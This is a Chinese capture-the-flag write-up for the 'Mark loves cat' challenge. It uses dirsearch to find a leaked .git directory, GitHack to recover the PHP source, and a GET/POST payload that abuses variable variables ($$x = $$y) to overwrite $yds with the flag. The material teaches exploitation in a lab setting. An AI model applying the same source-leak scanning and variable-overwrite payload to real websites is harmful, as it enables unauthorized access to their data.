[BJDCTF2020]Mark loves cat

题目

图片.png

过程
1.需要用到dirsearch和githack,项目已经部署在gihub上,直接git clone url就可以下载
https://github.com/maurosoria/dirsearch
https://github.com/BugScanTeam/GitHack
2.dirsearch扫描目录,发现存在源码泄露
python3 dirsearch.py -e php,txt,zip -u https://target -w db/dicc.txt
图片.png

3.使用Githack下载

 $y){ //get传值
    $$x = $$y;  //漏洞在这里  比如输入 yds=flag 相当于 $yds=$flag
}

foreach($_GET as $x => $y){ 
    if($_GET['flag'] === $x && $x !== 'flag'){ //判断get传进来的值等不等于flag 如果等于flag则跳过
        exit($handsome);
    }
}

//检测get是否为flag 或者post是否为flag  必须两方都为假  否则输出$yds
//通过这里我们就可以结合前面的来构造 既然要输出$yds所以我们想办法让$flag的值赋值给$yds  
//构造yds=flag GET传输 在经过第一个foreach的时候进行了赋值 等于进行了这样的一个操作$yds=$flag  
//所以这个条件为真就可以输出flag了。
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
    
}
//

//检测POST flag是否为flag  或者get 是否为flag   //至少有一个为真则为真
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

?>

分析一下代码逻辑

forsearch:
post传参和get传参的参数键名和值

首先我们post:$flag=flag

foreach($_POST as $x => $y){
    $$x = $y;
}

简单好理解一点,我们直接带入第一行后再比较第二行
这样就变成了$$flag = flag

接下来GET:?yds=flag

foreach($_GET as $x => $y){
    $$x = $$y;
}

$x为yds,$y为flag,所以$$x表示$yds$$y也就是$flag$flag就是真正的flag{XXXXXX}。$$x =$$y,也就是$yds=flag{XXXXXX}。
看源码

只要没有flag参数,就会exit($yds),就可以得到flag了。
4.payload
get:yds=flag
post:$flag=flag

图片.png

图片.png

你可能感兴趣的:([BJDCTF2020]Mark loves cat)